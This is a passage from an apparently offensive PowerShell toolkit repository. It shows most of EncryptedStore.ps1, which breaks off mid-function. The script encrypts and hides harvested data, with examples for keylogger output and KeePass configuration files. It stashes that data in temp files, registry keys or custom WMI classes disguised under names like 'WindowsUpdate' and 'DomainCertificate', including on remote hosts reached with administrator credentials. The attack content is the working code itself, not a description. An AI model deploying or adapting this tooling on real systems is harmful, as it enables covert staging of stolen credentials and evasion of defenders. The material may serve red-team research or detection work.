├── EncryptedStore.ps1 ├── EncryptedStore.py ├── Find-KeePassConfig.ps1 └── README.md /EncryptedStore.ps1: -------------------------------------------------------------------------------- 1 | #requires -version 2 2 | 3 | $Null = [Reflection.Assembly]::LoadWithPartialName('System.Security') 4 | $Null = [Reflection.Assembly]::LoadWithPartialName('System.Core') 5 | 6 | 7 | function Write-EncryptedStore { 8 | <# 9 | .SYNOPSIS 10 | 11 | Encrypts data in the 'EncryptedStore' format and stores it in the specified -StorePath file. 12 | 13 | Invoke-WMIMethod parameters and approach adapted from @mattifestation's Invoke-WmiCommand.ps1. 14 | 15 | Author: @harmj0y 16 | License: BSD 3-Clause 17 | Required Dependencies: None 18 | Optional Dependencies: None 19 | 20 | .DESCRIPTION 21 | 22 | Wraps Out-EncryptedStore to encypt input data, and stores it to the specified -StorePath location. 23 | 24 | .PARAMETER Data 25 | 26 | The path of a file to encrypt and add to the store, passable on the pipeline. 27 | 28 | .PARAMETER StorePath 29 | 30 | The path of the encrypted store to stash files. Can be on the filesystem ("${Env:Temp}\debug.bin"), 31 | registry (HKLM:\SOFTWARE\something\something\key\valuename), or WMI (ROOT\Software\namespace:ClassName). 32 | If registry or WMI storage is selected, the registry key/custom WMI class will be implicitly created 33 | on initial run if it does not already exist. 34 | 35 | If you want to access a store on a remote system, use -ComputerName/-Credential. 36 | 37 | .PARAMETER Key 38 | 39 | The key used to encrypt data for the store. A 32 character string is interpretered as an AES key, 40 | a string of the form '^.*.*$' is 41 | interpreted as an RSA public key, and anything else is fed into a MD5 hash function to produce a 42 | 32 character password for AES encryption. 43 | 44 | .PARAMETER SecureKey 45 | 46 | A [System.Security.SecureString] used for the encryption key, following the same parsing logic from 47 | the key parameter description above. 48 | 49 | .PARAMETER DataTag 50 | 51 | Optional flag to tag data with if it's not a file. 52 | 53 | .PARAMETER StoreSizeLimit 54 | 55 | Size limit for the encrypted datastore. Default to 1GB. 56 | 57 | .PARAMETER ComputerName 58 | 59 | Access the -StorePath on the specified computers. The default is the local computer. 60 | 61 | Type the NetBIOS name, an IP address, or a fully qualified domain 62 | name of one or more computers. To specify the local computer, type 63 | the computer name, a dot (.), or "localhost". 64 | 65 | This parameter does not rely on Windows PowerShell remoting. You can 66 | use the ComputerName parameter even if your computer is not 67 | configured to run remote commands. 68 | 69 | .PARAMETER Credential 70 | 71 | Specifies a user account that has permission to perform this action. 72 | 73 | The default is the current user. Type a user name, such as "User01", 74 | "Domain01\User01", or User@Contoso.com. Or, enter a PSCredential 75 | object, such as an object that is returned by the Get-Credential 76 | cmdlet. When you type a user name, you will be prompted for a 77 | password. 78 | 79 | .PARAMETER Impersonation 80 | 81 | Specifies the impersonation level to use. Valid values are: 82 | 83 | 0: Default (Reads the local registry for the default impersonation level, which is usually set to "3: Impersonate".) 84 | 1: Anonymous (Hides the credentials of the caller.) 85 | 2: Identify (Allows objects to query the credentials of the caller.) 86 | 3: Impersonate (Allows objects to use the credentials of the caller.) 87 | 4: Delegate (Allows objects to permit other objects to use the credentials of the caller.) 88 | 89 | .PARAMETER Authentication 90 | 91 | Specifies the authentication level to be used with the WMI connection. Valid values are: 92 | 93 | -1: Unchanged 94 | 0: Default 95 | 1: None (No authentication in performed.) 96 | 2: Connect (Authentication is performed only when the client establishes a relationship with the application.) 97 | 3: Call (Authentication is performed only at the beginning of each call when the application receives the request.) 98 | 4: Packet (Authentication is performed on all the data that is received from the client.) 99 | 5: PacketIntegrity (All the data that is transferred between the client and the application is authenticated and verified.) 100 | 6: PacketPrivacy (The properties of the other authentication levels are used, and all the data is encrypted.) 101 | 102 | .PARAMETER EnableAllPrivileges 103 | 104 | Enables all the privileges of the current user before the command 105 | makes the WMI call. 106 | 107 | .PARAMETER Authority 108 | 109 | Specifies the authority to use to authenticate the WMI connection. 110 | You can specify standard NTLM or Kerberos authentication. To use 111 | NTLM, set the authority setting to ntlmdomain:, where 112 | identifies a valid NTLM domain name. To use Kerberos, 113 | specify kerberos:. You cannot include the 114 | authority setting when you connect to the local computer. 115 | 116 | .EXAMPLE 117 | 118 | PS C:\> Write-EncryptedStore -Data C:\Folder\secret.txt -StorePath C:\Temp\debug.bin -Key 'Password123!' 119 | 120 | Compresses and encrypts C:\Folder\secret.txt with 'Password123!' and appends 121 | to the encrypted store at C:\Temp\debug.bin 122 | 123 | .EXAMPLE 124 | 125 | PS C:\> 'secret.txt','secret2.txt' | Write-EncryptedStore -StorePath C:\Temp\debug.bin -Key 'Password123!' 126 | 127 | Compresses and encrypts secret.txt and secret2.txt with 'Password123!' and appends 128 | to the encrypted store at C:\Temp\debug.bin 129 | 130 | .EXAMPLE 131 | 132 | PS C:\> "keystrokes" | Write-EncryptedStore -StorePath C:\Temp\debug.bin -Key 'Password123!' -DataTag 'keylog' 133 | 134 | Compresses and encrypts the data passed on the pipeline with 'Password123!' and appends 135 | to the encrypted store at C:\Temp\debug.bin with a filepath compromised of a timestamp 136 | and the 'keylog' datatag (i.e. 'keylog3.12.2016_12.10.15.txt'). 137 | 138 | .EXAMPLE 139 | 140 | PS C:\> Find-KeePassConfig | Write-EncryptedStore -StorePath C:\Temp\debug.bin -Key 'Password123!' 141 | 142 | Finds all KeePass related files using Find-KeePassConfig and stores them an encrypted store 143 | at C:\Temp\debug.bin using the key 'Password123!'. 144 | 145 | .EXAMPLE 146 | 147 | PS C:\> $Key = New-RSAKeyPair 148 | PS C:\> $StorePath = "HKLM:\SOFTWARE\Microsoft\SystemCertificates\DomainCertificate" 149 | PS C:\> ".\secret.txt" | Write-EncryptedStore -StorePath $StorePath -Key $Key.Pub 150 | PS C:\> Read-EncryptedStore -StorePath $StorePath -Key $Key.Priv -List 151 | 152 | Generates a new RSA public/private key pair with New-RSAKeyPair, uses the public 153 | key to encrypt a file from disk, and stores the result in the specified registry location. 154 | The call to Read-EncryptedStore extracts the stored data using the private key and 155 | displays the files in the container. 156 | 157 | .EXAMPLE 158 | 159 | PS C:\> $StorePath = "ROOT\Software:WindowsUpdate" 160 | PS C:\> $SecurePassword = 'Password12345' | ConvertTo-SecureString -AsPlainText -Force 161 | PS C:\> ".\secret.txt" | Write-EncryptedStore -StorePath $StorePath -SecureKey $SecurePassword -Verbose 162 | VERBOSE: EncryptionKey not 32 Bytes, using MD5 of key specified as the AESencryption key. 163 | VERBOSE: RawDataStore length: 613 164 | VERBOSE: Creating namespace 'ROOT\Software' 165 | VERBOSE: Creating class 'WindowsUpdate' in namespace 'ROOT\Software' 166 | VERBOSE: Setting 'Content' value of ROOT\Software:WindowsUpdate 167 | 168 | Stores a password in a secure string, and uses this to encrypt the specified document. The store is 169 | then written to a custom WMI class, which is first created as it doesn't exist. 170 | 171 | .EXAMPLE 172 | 173 | PS C:\> $ComputerName = 'PRIMARY.testlab.local' 174 | PS C:\> $Credential = Get-Credential 'TESTLAB\administrator' 175 | PS C:\> $StorePath = 'HKLM:\SOFTWARE\Microsoft\SystemCertificates\DomainCert' 176 | PS C:\> ".\secret.txt" | Write-EncryptedStore -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath -Key 'Password123!' 177 | 178 | Take the local "secret.txt" file, compress/encrypt it, and store it in the specified registry 179 | key on the remote system using the specified credentials. 180 | 181 | .LINK 182 | 183 | https://github.com/PowerShellMafia/PowerSploit/blob/c2a70924e16cd80a1c07d9de82db893b32a4aba9/CodeExecution/Invoke-WmiCommand.ps1 184 | #> 185 | 186 | [CmdletBinding(DefaultParameterSetName = 'Key')] 187 | param( 188 | [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)] 189 | [Object[]] 190 | $Data, 191 | 192 | [Parameter(Position = 1)] 193 | [ValidatePattern('.*\\.*')] 194 | [String] 195 | $StorePath = "${Env:Temp}\debug.bin", 196 | 197 | [Parameter(Position = 2, Mandatory = $True, ParameterSetName = 'Key')] 198 | [ValidateNotNullOrEmpty()] 199 | [String] 200 | $Key, 201 | 202 | [Parameter(Position = 2, Mandatory = $True, ParameterSetName = 'SecureKey')] 203 | [ValidateNotNullOrEmpty()] 204 | [System.Security.SecureString] 205 | $SecureKey, 206 | 207 | [Parameter(Position = 4)] 208 | [ValidateNotNullOrEmpty()] 209 | [String] 210 | $DataTag, 211 | 212 | [Parameter(Position = 5)] 213 | [ValidateNotNullOrEmpty()] 214 | [Int] 215 | $StoreSizeLimit = 100MB, 216 | 217 | [Alias('Cn')] 218 | [String[]] 219 | [ValidateNotNullOrEmpty()] 220 | $ComputerName = 'localhost', 221 | 222 | [Management.Automation.PSCredential] 223 | [Management.Automation.CredentialAttribute()] 224 | $Credential = [Management.Automation.PSCredential]::Empty, 225 | 226 | [Management.ImpersonationLevel] 227 | $Impersonation, 228 | 229 | [System.Management.AuthenticationLevel] 230 | $Authentication, 231 | 232 | [Switch] 233 | $EnableAllPrivileges, 234 | 235 | [String] 236 | $Authority 237 | ) 238 | 239 | BEGIN { 240 | $WmiMethodArgs = @{} 241 | $WMIConnectionOptions = New-Object Management.ConnectionOptions 242 | 243 | # If additional WMI cmdlet properties were provided, proxy them to Invoke-WmiMethod 244 | if ($PSBoundParameters['Credential']) { 245 | $WmiMethodArgs['Credential'] = $Credential 246 | $WMIConnectionOptions.Username = $Credential.UserName 247 | $WMIConnectionOptions.SecurePassword = $Credential.Password 248 | } 249 | if ($PSBoundParameters['Impersonation']) { 250 | $WmiMethodArgs['Impersonation'] = $Impersonation 251 | $WMIConnectionOptions.Impersonation = $Impersonation 252 | } 253 | if ($PSBoundParameters['Authentication']) { 254 | $WmiMethodArgs['Authentication'] = $Authentication 255 | $WMIConnectionOptions.Authentication = $Authentication 256 | } 257 | if ($PSBoundParameters['EnableAllPrivileges']) { 258 | $WmiMethodArgs['EnableAllPrivileges'] = $EnableAllPrivileges 259 | $WMIConnectionOptions.EnableAllPrivileges = $EnableAllPrivileges 260 | } 261 | if ($PSBoundParameters['Authority']) { 262 | $WmiMethodArgs['Authority'] = $Authority 263 | $WMIConnectionOptions.Authority = $Authority 264 | } 265 | 266 | if ($PSBoundParameters['SecureKey']) { 267 | $BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($SecureKey) 268 | $EncryptionKey = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR) 269 | } 270 | else { 271 | $EncryptionKey = $Key 272 | } 273 | } 274 | 275 | PROCESS { 276 | 277 | foreach ($Computer in $ComputerName) { 278 | 279 | $EncStoreArguments = @{ 280 | 'Data' = $Data 281 | 'Key' = $EncryptionKey 282 | 'DataTag' = $DataTag 283 | } 284 | 285 | # get the encrypted store bytes 286 | $RawDataStore = Out-EncryptedStore @EncStoreArguments 287 | 288 | Write-Verbose "[$Computer] RawDataStore length: $($RawDataStore.Length)" 289 | Write-Verbose "[$Computer] Writing to encrypted store at: '$StorePath'" 290 | 291 | if(($StorePath -match '^[A-Z]:\\') -or ($StorePath -match '^\\\\[A-Z0-9]+\\[A-Z0-9]+')) { 292 | # file on a disk, local or remote, or \\UNC path 293 | 294 | if($Computer -ne 'localhost') { 295 | # remote -ComputerName specification 296 | $Net = New-Object -ComObject WScript.Network 297 | 298 | $PathParts = $StorePath.Replace(':', '$').Split('\') 299 | $UNCPath = "\\$ComputerName\$($PathParts[0..($PathParts.Length-2)] -join '\')" 300 | $FileName = $PathParts[-1] 301 | 302 | if($PSBoundParameters['Credential']) { 303 | try { 304 | # map a temporary network drive with the credentials supplied 305 | # this is because New-PSDrive in PowerShell v2 doesn't support alternate credentials :( 306 | Write-Verbose "[$Computer] Mapping drive Z: to '$UNCPath'" 307 | $Net.MapNetworkDrive("Z:", $UNCPath, $False, $Credential.UserName, $Credential.GetNetworkCredential().Password) 308 | $EncStorePath = "Z:\$FileName" 309 | } 310 | catch { 311 | throw "[$Computer] Error mapping path '$StorePath' : $_" 312 | } 313 | } 314 | else { 315 | $EncStorePath = "$UNCPath\$FileName" 316 | } 317 | } 318 | else { 319 | # plain old localhost 320 | $EncStorePath = $StorePath 321 | } 322 | 323 | if(Test-Path -Path $EncStorePath) { 324 | if ( (Get-Item -Path $EncStorePath).Length -gt $StoreSizeLimit) { 325 | throw "[$Computer] Store size exceeded, exiting" 326 | } 327 | } 328 | 329 | try { 330 | Write-Verbose "[$Computer] Writing $($RawDataStore.Count) encrypted bytes to $EncStorePath" 331 | Add-Content -Encoding Byte -Path $EncStorePath -Value $RawDataStore -ErrorAction Stop 332 | } 333 | catch { 334 | Write-Warning "[$Computer] Error writing to '$EncStorePath' : $_" 335 | } 336 | 337 | if($Computer -ne 'localhost' -and ($PSBoundParameters['Credential'])) { 338 | try { 339 | Write-Verbose "[$Computer] Unmapping drive Z:\" 340 | $Net = New-Object -ComObject WScript.Network 341 | $Null = $Net.RemoveNetworkDrive('Z:', $True) 342 | } 343 | catch { 344 | Write-Verbose "[$Computer] Error unmapping drive Z:\ : $_" 345 | } 346 | } 347 | } 348 | elseif($StorePath -match '^(HKCR|HKCU|HKLM|HKU|HKCC):\\') { 349 | # registry storage 350 | 351 | $RegistryParts = $StorePath.Split('\') 352 | $KeyName = ($RegistryParts[0..($RegistryParts.Length - 2)]) -join '\' 353 | $ValueName = $RegistryParts[-1] 354 | 355 | if($Computer -ne 'localhost') { 356 | # remote registry storage 357 | # logic heavily adopted from @mattifestation's Invoke-WmiCommand.ps1 logic 358 | 359 | $WmiMethodArgs['ComputerName'] = $Computer 360 | 361 | $RegistryKeyParts = $KeyName.Split('\') 362 | $RegistryKeyPath = $RegistryKeyParts[1..($RegistryKeyParts.Length)] -join '\' 363 | 364 | switch ($RegistryKeyParts[0]) { 365 | 'HKLM:' { $Hive = 2147483650 } 366 | 'HKCU:' { $Hive = 2147483649 } 367 | 'HKCR:' { $Hive = 2147483648 } 368 | 'HKU:' { $Hive = 2147483651 } 369 | 'HKCC:' { $Hive = 2147483653 } 370 | } 371 | 372 | $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'CreateKey' -ArgumentList @($Hive, $RegistryKeyPath) 373 | 374 | if ($Result.ReturnValue -ne 0) { 375 | throw "[$Computer] Unable to create the following registry key: $KeyName" 376 | } 377 | 378 | # get any existing registry data 379 | $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'GetBinaryValue' -ArgumentList @($Hive, $RegistryKeyPath, $ValueName) 380 | 381 | Write-Verbose "[$Computer] Storing the encrypted store into the following registry value: $StorePath" 382 | $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'SetBinaryValue' -ArgumentList @($Hive, $RegistryKeyPath, $ValueName, $($Result.uValue + $RawDataStore)) 383 | 384 | if ($Result.ReturnValue -ne 0) { 385 | throw "[$Computer] Unable to store encrypted store in the following registry value: $StorePath" 386 | } 387 | } 388 | else { 389 | # localhost registry storage 390 | if(-not (Test-Path -Path $KeyName)) { 391 | try { 392 | Write-Verbose "[$Computer] Creating registry key '$KeyName'" 393 | $Null = New-Item -Path $KeyName -Force -ErrorAction Stop 394 | } 395 | catch { 396 | throw "[$Computer] Error creating '$KeyName' : $_" 397 | } 398 | } 399 | 400 | try { 401 | $Value = (Get-ItemProperty -Path $KeyName -Name $ValueName -ErrorAction Stop).$ValueName 402 | 403 | if ( $Value.Length -gt $StoreSizeLimit) { 404 | throw "[$Computer] Store size exceeded, exiting" 405 | } 406 | 407 | # "append" the new data to the registry key 408 | $Null = Set-ItemProperty -Path $KeyName -Name $ValueName -Value $($Value + $RawDataStore) -ErrorAction Stop 409 | } 410 | catch { 411 | Write-Verbose "[$Computer] Value $ValueName doesn't exist!" 412 | $Null = New-ItemProperty -Path $KeyName -Name $ValueName -PropertyType Binary -Value $RawDataStore 413 | } 414 | } 415 | } 416 | elseif($StorePath -match '^[A-Z0-9]*\\.*:[A-Z0-9]+$') { 417 | # WMI storage 418 | 419 | # adapted from Sw4mpf0x's PowerLurk project (https://github.com/Sw4mpf0x/PowerLurk) 420 | # create the new custom WMI namespace 421 | $WMIParts = $StorePath.Split(':') 422 | $NamespaceName = $WMIParts[0] 423 | $ClassName = $WMIParts[-1] 424 | $NamespaceParts = $NamespaceName.Split('\') 425 | 426 | if($Computer -ne 'localhost') { 427 | $WmiMethodArgs['ComputerName'] = $Computer 428 | 429 | try { 430 | Write-Verbose "NamespaceName: $NamespaceName" 431 | Write-Verbose "ClassName: $ClassName" 432 | $WmiClass = Get-WmiObject @WmiMethodArgs -Namespace $NamespaceName -List -ErrorAction Stop | Where-Object {$_.Name -eq $ClassName} 433 | if(-not $WmiClass) { 434 | throw [System.Management.Automation.RuntimeException]'Not found' 435 | } 436 | } 437 | catch { 438 | if($_.Exception.GetBaseException().ErrorCode -eq 'InvalidNamespace') { 439 | Write-Verbose "[$Computer] Creating namespace '$NamespaceName'" 440 | 441 | $Namespace = Get-WmiObject @WmiMethodArgs -Class 'meta_class' | Where-Object {$_.Name -eq '__NAMESPACE'} 442 | $CustomNamespace = $Namespace.CreateInstance() 443 | $CustomNamespace.Name = $NamespaceParts[-1] 444 | $Null = $CustomNamespace.Put() 445 | 446 | Write-Verbose "[$Computer] Creating class '$ClassName' in namespace '$NamespaceName'" 447 | 448 | $MagementScope = New-Object Management.ManagementScope @("\\$Computer\$NamespaceName", $WMIConnectionOptions) 449 | $MagementScope.Connect() 450 | 451 | $CustomClass = New-Object Management.ManagementClass($MagementScope, $NamespaceName, $Null) 452 | $CustomClass.Name = $ClassName 453 | $CustomClass.Properties.Add('Content', [System.Management.CimType]::UInt8, $True) 454 | $Null = $CustomClass.Put() 455 | 456 | $WmiClass = $CustomClass 457 | } 458 | elseif(($_.Exception.GetBaseException().ErrorCode -eq 'NotFound') -or ($_.Exception.GetBaseException().ErrorCode -eq 'InvalidClass') -or ($_.Exception.Message -eq 'Not Found')) { 459 | Write-Verbose "[$Computer] Creating class '$ClassName' in namespace '$NamespaceName'" 460 | 461 | $MagementScope = New-Object Management.ManagementScope @("\\$Computer\$NamespaceName", $WMIConnectionOptions) 462 | $MagementScope.Connect() 463 | 464 | $CustomClass = New-Object Management.ManagementClass($MagementScope, $NamespaceName, $Null) 465 | $CustomClass.Name = $ClassName 466 | $CustomClass.Properties.Add('Content', [System.Management.CimType]::UInt8, $True) 467 | $Null = $CustomClass.Put() 468 | 469 | $WmiClass = $CustomClass 470 | } 471 | else { 472 | throw "[$Computer] Unidentified error : $_" 473 | } 474 | } 475 | } 476 | else { 477 | # local WMI class specification 478 | try { 479 | $WmiClass = [WmiClass] $StorePath 480 | } 481 | catch { 482 | if($_.Exception.GetBaseException().ErrorCode -eq 'InvalidNamespace') { 483 | Write-Verbose "[$Computer] Creating namespace '$NamespaceName'" 484 | $Namespace = [WMIClass] "$($NamespaceParts[0..($NamespaceParts.Length - 2)] -join '\'):__namespace" 485 | $CustomNamespace = $Namespace.CreateInstance() 486 | $CustomNamespace.Name = $NamespaceParts[-1] 487 | $Null = $CustomNamespace.Put() 488 | 489 | Write-Verbose "[$Computer] Creating class '$ClassName' in namespace '$NamespaceName'" 490 | $CustomClass = New-Object Management.ManagementClass($NamespaceName, $Null, $Null) 491 | $CustomClass.Name = $ClassName 492 | $CustomClass.Properties.Add('Content', [System.Management.CimType]::UInt8, $True) 493 | $Null = $CustomClass.Put() 494 | 495 | $WmiClass = $CustomClass 496 | } 497 | elseif(($_.Exception.GetBaseException().ErrorCode -eq 'NotFound') -or ($_.Exception.GetBaseException().ErrorCode -eq 'InvalidClass')) { 498 | Write-Verbose "[$Computer] Creating class '$ClassName' in namespace '$NamespaceName'" 499 | 500 | $CustomClass = New-Object Management.ManagementClass($NamespaceName, $Null, $Null) 501 | $CustomClass.Name = $ClassName 502 | $CustomClass.Properties.Add('Content', [System.Management.CimType]::UInt8, $True) 503 | $Null = $CustomClass.Put() 504 | 505 | $WmiClass = $CustomClass 506 | } 507 | else { 508 | throw "[$Computer] Unidentified error : $_" 509 | } 510 | } 511 | } 512 | 513 | if($WmiClass) { 514 | Write-Verbose "[$Computer] Setting 'Content' value of $StorePath" 515 | try { 516 | $WmiClass.SetPropertyValue('Content', $($WmiClass.GetPropertyValue('Content') + $RawDataStore)) 517 | $Null = $WmiClass.Put() 518 | } 519 | catch { 520 | throw "[$Computer] Error setting 'Content' at $StorePath : $_" 521 | } 522 | } 523 | } 524 | else { 525 | throw "[$Computer] Invalid StorePath format : $StorePath" 526 | } 527 | } 528 | } 529 | } 530 | 531 | 532 | function Out-EncryptedStore { 533 | <# 534 | .SYNOPSIS 535 | 536 | Encrypts data in the 'EncryptedStore' format and outputs the raw encrypted bytes to the pipeline. 537 | 538 | Author: @harmj0y 539 | License: BSD 3-Clause 540 | Required Dependencies: None 541 | Optional Dependencies: None 542 | 543 | .DESCRIPTION 544 | 545 | Compresses and encrypts the data passed by $Data with the 546 | supplied $Key and writes the data to the specified encrypted $StorePath. 547 | If the passed data is a filename, the file is encrypted along with 548 | the original path. Otherwse, the passed data itself is encrypted along 549 | with a timestamp to be used as the extracted file format. 550 | If you to tag non-file data, use -DataTag. 551 | 552 | Multiple files/data sets can be stored in the same $StorePath (see below). 553 | Use Read-EncryptedStore to extract files from a specified store. 554 | 555 | Store structure: 556 | 557 | [4 bytes representing size of next block to decrypt] 558 | [0] (indicating straight AES) 559 | [16 byte IV] 560 | [AES-CBC encrypted file block] 561 | [compressed stream] 562 | [260 characters/bytes indicating original path] 563 | [file contents] 564 | ... 565 | 566 | [4 bytes representing size of next block to decrypt] 567 | [1] (indicating straight RSA+AES) 568 | [128 bytes random AES key encrypted with the the RSA public key] 569 | [16 byte IV] 570 | [AES-CBC encrypted file block] 571 | [compressed stream] 572 | [260 characters/bytes indicating original path] 573 | [file contents] 574 | ... 575 | 576 | To encrypt a file for ENCSTORE.bin: 577 | 578 | -Read raw file contents 579 | -Pad original full file PATH to 260 Bytes 580 | -Compress [PATH + file] using IO.Compression.DeflateStream 581 | -If using RSA+AES, generate a random AES key and encrypt using the RSA public key 582 | -Generate random 16 Byte IV 583 | -Encrypt compressed stream with AES-CBC using the predefined key and generated IV 584 | -Calculate length of encrypted block + IV 585 | -append 4 Byte representation of length to ENCSTORE.bin 586 | -append 0 byte if straight AES used, 1 if RSA+AES used 587 | -optionally append 128 bytes of RSA encrypted random AES key if RSA+AES scheme used 588 | -append IV to ENCSTORE.bin 589 | -append encrypted file to ENCSTORE.bin 590 | 591 | .PARAMETER Data 592 | 593 | The path of a file to encrypt and add to the store, passable on the pipeline. 594 | 595 | .PARAMETER Key 596 | 597 | The key used to encrypt data for the store. A 32 character string is interpretered as an AES key, 598 | a string of the form '^.*.*$' is 599 | interpreted as an RSA public key, and anything else is fed into a MD5 hash function to produce a 600 | 32 character password for AES encryption. 601 | 602 | .PARAMETER SecureKey 603 | 604 | A [System.Security.SecureString] used for the encryption key, following the same parsing logic from 605 | the key parameter description above. 606 | 607 | .PARAMETER DataTag 608 | 609 | Optional string to tag data with if it's not a file. 610 | 611 | .PARAMETER Base64Encode 612 | 613 | Switch. Output the encrypted store bytes as a Base64 string. 614 | 615 | .EXAMPLE 616 | 617 | PS C:\> Out-EncryptedStore -Data C:\Folder\secret.txt -Key 'Password123!' 618 | 619 | Compresses and encrypts C:\Folder\secret.txt with 'Password123!' and outputs the raw encrypted 620 | bytes to the pipeline. 621 | 622 | .EXAMPLE 623 | 624 | PS C:\> $Key = New-RSAKeyPair 625 | PS C:\> 'secret.txt','secret2.txt' | Out-EncryptedStore -Key $Key.Pub 626 | 627 | Compresses and encrypts secret.txt and secret2.txt with 'Password123!' and and outputs the 628 | raw bytes encrypted with the specified RSA public key to the pipeline. 629 | 630 | .EXAMPLE 631 | 632 | PS C:\> "keystrokes" | Out-EncryptedStore -Key 'Password123!' -DataTag 'keylog' 633 | 634 | Compresses and encrypts the data passed on the pipeline with 'Password123!' and outputs the raw 635 | bytes to the pipeline with a timestamp and the 'keylog' datatag (i.e. 'keylog3.12.2016_12.10.15.txt'). 636 | 637 | .EXAMPLE 638 | 639 | PS C:\> Find-KeePassConfig | Out-EncryptedStore -Key 'Password123!' 640 | 641 | Finds all KeePass related files using Find-KeePassConfig and outputs the raw bytes to the pipeline. 642 | 643 | .EXAMPLE 644 | 645 | PS C:\> Find-KeePassConfig | Out-EncryptedStore -Key 'Password123!' -Base64Encode 646 | 647 | Finds all KeePass related files using Find-KeePassConfig and outputs the raw bytes to the pipeline 648 | as a base64-encoded string. 649 | #> 650 | 651 | [CmdletBinding()] 652 | param( 653 | [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)] 654 | [Object[]] 655 | $Data, 656 | 657 | [Parameter(Position = 1, Mandatory = $True, ParameterSetName = 'Key')] 658 | [ValidateNotNullOrEmpty()] 659 | [String] 660 | $Key, 661 | 662 | [Parameter(Position = 1, Mandatory = $True, ParameterSetName = 'SecureKey')] 663 | [ValidateNotNullOrEmpty()] 664 | [System.Security.SecureString] 665 | $SecureKey, 666 | 667 | [Parameter(Position = 2)] 668 | [String] 669 | $DataTag, 670 | 671 | [Parameter(Position = 3)] 672 | [Switch] 673 | $Base64Encode 674 | ) 675 | 676 | BEGIN { 677 | $Encoding = [System.Text.Encoding]::ASCII 678 | [Byte[]]$AllEncryptedBytes = @() 679 | 680 | if ($PSBoundParameters['SecureKey']) { 681 | $BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($SecureKey) 682 | $EncryptionKey = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR) 683 | } 684 | else { 685 | $EncryptionKey = $Key 686 | } 687 | 688 | if($EncryptionKey -match '^.*.*$') { 689 | Write-Verbose "Using RSA public key for encryption." 690 | $EncryptionType = 'RSA' 691 | } 692 | elseif($EncryptionKey.Length -eq 32) { 693 | Write-Verbose "Using 32 byte AES key for encryption." 694 | $EncryptionType = 'AES' 695 | } 696 | else { 697 | Write-Verbose "EncryptionKey not 32 Bytes, using MD5 of key specified as the AES encryption key." 698 | 699 | # transform the encryption key to a MD5 hash if the key is not 32 Bytes 700 | $StringBuilder = New-Object System.Text.StringBuilder 701 | [System.Security.Cryptography.HashAlgorithm]::Create('MD5').ComputeHash($Encoding.GetBytes($EncryptionKey)) | ForEach-Object { [Void]$StringBuilder.Append($_.ToString("x2")) } 702 | $EncryptionKey = $StringBuilder.ToString() 703 | $EncryptionType = 'AES' 704 | } 705 | 706 | function local:Out-StoreEncryptedByte { 707 | [CmdletBinding()] 708 | Param ( 709 | [Parameter(Mandatory=$True)] 710 | [Byte[]] 711 | $FullPathBytes, 712 | 713 | [Parameter(Mandatory=$True)] 714 | [Byte[]] 715 | $DataBytes, 716 | 717 | [Parameter(Mandatory=$True)] 718 | [String] 719 | $EncryptionKey, 720 | 721 | [Parameter(Mandatory=$True)] 722 | [ValidateSet('AES', 'RSA')] 723 | [String] 724 | $EncryptionType 725 | ) 726 | 727 | try { 728 | $Encoding = [System.Text.Encoding]::ASCII 729 | 730 | # build the compressed(PATH + file) stream 731 | $MemoryStream = New-Object System.IO.MemoryStream 732 | $CompressionStream = New-Object System.IO.Compression.DeflateStream($MemoryStream, [System.IO.Compression.CompressionMode]::Compress) 733 | $StreamWriter = New-Object System.IO.StreamWriter($CompressionStream) 734 | $StreamWriter.Write([Char[]]($FullPathBytes + $DataBytes)) 735 | $StreamWriter.Close() 736 | 737 | # generate the random IV bytes 738 | $RNG = [Security.Cryptography.RNGCryptoServiceProvider]::Create() 739 | $RandomIVBytes = New-Object Byte[](16) 740 | $RNG.GetBytes($RandomIVBytes) 741 | 742 | $StreamBytes = $MemoryStream.ToArray() 743 | 744 | if($EncryptionType -eq 'AES') { 745 | # set up paramters for the AES + CBC encryption w/ random IV 746 | $AES = New-Object System.Security.Cryptography.AesCryptoServiceProvider 747 | $AES.Mode = 'CBC' 748 | $AES.Key = $Encoding.GetBytes($EncryptionKey) 749 | $AES.IV = $RandomIVBytes 750 | 751 | # '0' indicates straight AES 752 | [Byte[]]$EncryptedBlock = $RandomIVBytes + $AES.CreateEncryptor().TransformFinalBlock($StreamBytes, 0, $StreamBytes.Length) 753 | 754 | [BitConverter]::GetBytes($EncryptedBlock.Length) 755 | [Byte]0 756 | $EncryptedBlock 757 | } 758 | else { 759 | # generate a random AES key 760 | $RandomAESKeyBytes = New-Object Byte[](32) 761 | $RNG.GetBytes($RandomAESKeyBytes) 762 | 763 | # build the RSA public key to encrypt the random AES key 764 | $CSP = New-Object System.Security.Cryptography.CspParameters 765 | $CSP.Flags = $CSP.Flags -bor [System.Security.Cryptography.CspProviderFlags]::UseMachineKeyStore 766 | $RSA = New-Object System.Security.Cryptography.RSACryptoServiceProvider -ArgumentList @(1024,$CSP) 767 | $RSA.FromXmlString($EncryptionKey) 768 | 769 | # encrypt the randomized AES key using RSA 770 | $EncAESKeyBytes = $RSA.Encrypt($RandomAESKeyBytes, $False) 771 | 772 | # set up paramters for the AES + CBC encryption w/ random IV 773 | $AES = New-Object System.Security.Cryptography.AesCryptoServiceProvider 774 | $AES.Mode = 'CBC' 775 | $AES.Key = $RandomAESKeyBytes 776 | $AES.IV = $RandomIVBytes 777 | 778 | $EncBytes = $AES.CreateEncryptor().TransformFinalBlock($StreamBytes, 0, $StreamBytes.Length) 779 | 780 | # '1' indicates RSA + AES 781 | # [Byte[]]$EncryptedBlock = $EncAESKeyBytes + $RandomIVBytes + $AES.CreateEncryptor().TransformFinalBlock($StreamBytes, 0, $StreamBytes.Length) 782 | [Byte[]]$EncryptedBlock = $EncAESKeyBytes + $RandomIVBytes + $EncBytes 783 | 784 | [BitConverter]::GetBytes($EncryptedBlock.Length) 785 | [Byte]1 786 | $EncryptedBlock 787 | } 788 | } 789 | catch { 790 | Write-Error "Error in encryption : $_" 791 | } 792 | } 793 | } 794 | 795 | PROCESS { 796 | 797 | 